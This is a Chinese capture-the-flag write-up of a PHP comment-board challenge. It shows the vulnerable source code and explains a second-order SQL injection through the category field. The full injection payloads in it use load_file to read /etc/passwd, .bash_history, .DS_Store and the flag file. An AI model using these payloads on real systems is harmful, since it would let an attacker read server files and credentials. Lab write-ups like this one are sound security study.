标签：Comment category bo id content 2018 如下 payload 注入
1、打开之后只有一个留言页面，很自然的就想到了二次注入得问题，顺带查看了下源代码信息，并没有什么提示，显示界面如下：
2、那先扫描一下目录，同时随便留言一个测试以下，但是显示需要登录，账户、密码给出了部分提示，但是最后三位密码需要爆破，结果如下：
3、扫描到了.git文件，那就使用githack尝试获取下源码信息，但是显示得源码信息不全，需要恢复，（这里在网上找了下，一直恢复不成功，后面再看），结果如下：
githack下载下来的：
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>完整得源码：
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>4、先随便进行一个发帖，然后提交留言，回显了我们的留言信息，那也就确定了二次注入的回显数据的地方，结果如下：
5、对获得的源代码进行分析，服务端在接受到我们的数据之后进行了转义处理（addslashes），但是数据在存到数据库中时还是存储的我们提交的数据，变化过程：'->\'->'，结合代码：
$sql = "insert into board
set category = '$category', //category参数可控
title = '$title',
content = '$content'";
$sql = "select category from board where id='$bo_id'"; //直接取用我们可以控制的category参数
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
//content参数可控并且会展示其内容，调用了我们可控的category参数，所以这条sql语句中就有两个地方我们可以直接控制我们留言的内容在（content）：
所以我们就需要把我们想看到的信息写入到content中，使其进行展示，加入我们想要获取database()的信息，那我们就应该形成：
$sql = "insert into comment
set category = '$category',
content = database(),
bo_id = '$bo_id'";这里很明显content参数的单引号去掉了，但是content参数有进行转义，所以导致这一情况的只能是category参数，这里想到了之前做过的一道题：https://www.cnblogs.com/upfine/p/16545379.html，通过转义符使&passwd=成为了搜索的用户名内容（见下图），那这里我们也可以采用这种方式，因此构造我们的category的payload：\，我们的content的payload：,content=database(),#。结果如下：
6、在网上看到了另外一种方式，就是采用/**/来注释掉原来的content内容，其实两种方式原理差不多，一个是采用/**/注释掉content部分的内容，一个是采用\转移单引号，使content内容成为了category的写入内容（这里写入的是comment表，所以并不会影响原来从board获取的category值，写入之后语句中的category还是\，可以看上面图，在一个发帖中同时获取了user和database），网上category的payload：',content=database(),/*，content的payload：*/#。结果如下：
7、然后就进获取表、列，具体的信息等，但是并没有获取flag，那就应该是存放在系统上的一个文件里了，读取下/etc/passwd，这里不要使用\转义，因为payload中存在单引号，使用这种方式时，导致payload语句中的单引号被转移，而无法执行;
所以这里我们就只能使用/**/注释掉content内容的方式了，category的payload：',content=(select(load_file('/etc/passwd'))),/*，content的payload：*/#，读取的/etc/passwd信息如下：
8、www用户的目录是/home/www，读取一下.bash_history文件，查看下用户使用的命令，category的payload：',content=(select(load_file('/home/www/.bash_history'))),/*，content的payload：*/#，发现了.DS_Store文件，结果如下：
.bash_history文件：
9、那就读取下.DS_Store文件，category的payload：',content=(select(load_file('/home/www/.bash_history'))),/*，content的payload：*/#，结果如下（应该是没有读完）：
10、那就使用hex编码读取一下，category的payload：',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*，content的payload：*/#，结果如下：
返回内容如下：
查看代码
00000001427564310000100000000800000010000000040A000000000000000000000000000000000000000000000800000008000000000000000000000000000000000000000002000000000000000B000000010000100000730074007200610070496C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000B000000090062006F006F007400730074007200610070496C6F63626C6F62000000100000004600000028FFFFFFFFFFFF00000000000B0063006F006D006D0065006E0074002E007000680070496C6F63626C6F6200000010000000CC0000002800000001FFFF000000000003006300730073496C6F63626C6F62000000100000015200000028FFFFFFFFFFFF0000000000190066006C00610067005F0038003900340036006500310066006600310065006500330065003400300066002E007000680070496C6F63626C6F6200000010000001D800000028FFFFFFFFFFFF0000000000050066006F006E00740073496C6F63626C6F62000000100000004600000098FFFFFFFFFFFF0000000000090069006E006400650078002E007000680070496C6F63626C6F6200000010000000CC0000009800000002FFFF000000000002006A0073496C6F63626C6F62000000100000015200000098FFFFFFFFFFFF000000000009006C006F00670069006E002E007000680070496C6F63626C6F6200000010000001D800000098FFFFFFFFFFFF000000000009006D007900730071006C002E007000680070496C6F63626C6F62000000100000004600000108FFFFFFFFFFFF00000000000600760065006E0064006F0072496C6F63626C6F6200000010000000CC00000108FFFFFFFFFFFF00000000000C00770072006900740065005F0064006F002E007000680070496C6F63626C6F62000000100000015200000108FFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000080B000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000002000000001000000400000000100000080000000010000010000000001000002000000000100000400000000000000000100001000000000010000200000000001000040000000000100008000000000010001000000000001000200000000000100040000000000010008000000000001001000000000000100200000000000010040000000000001008000000000000101000000000000010200000000000001040000000000000108000000000000011000000000000001200000000000000140000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000000000100B000000450000040A000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000104445344420000000100000000000000000000000000000000000000000000000200000020000000600000000000000001000000800000000100000100000000010000020000000000000000020000080000001800000000000000000100002000000000010000400000000001000080000000000100010000000000010002000000000001000400000000000100080000000000010010000000000001002000000000000100400000000000010080000000000001010000000000000102000000000000010400000000000001080000000000000110000000000000012000000000000001400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000进行16进制转换（https://www.toolscat.com/decode/hex），结果如下：
最终成功得到flag文件：flag_8946e1ff1ee3e40f.php。
11、读取下flag文件，category的payload：',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*，content的payload：*/#，结果如下：
返回信息如下：
3C3F7068700A0924666C61673D22666C61677B64363335303431392D326336372D343261392D386664352D3538663932653334363631647D223B0A3F3E0A进行16进制转码，最终成功得到flag：flag{d6350419-2c67-42a9-8fd5-58f92e34661d}，结果如下：
标签：Comment,category,bo,id,content,2018,如下,payload,注入 来源： https://www.cnblogs.com/upfine/p/16623117.html
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。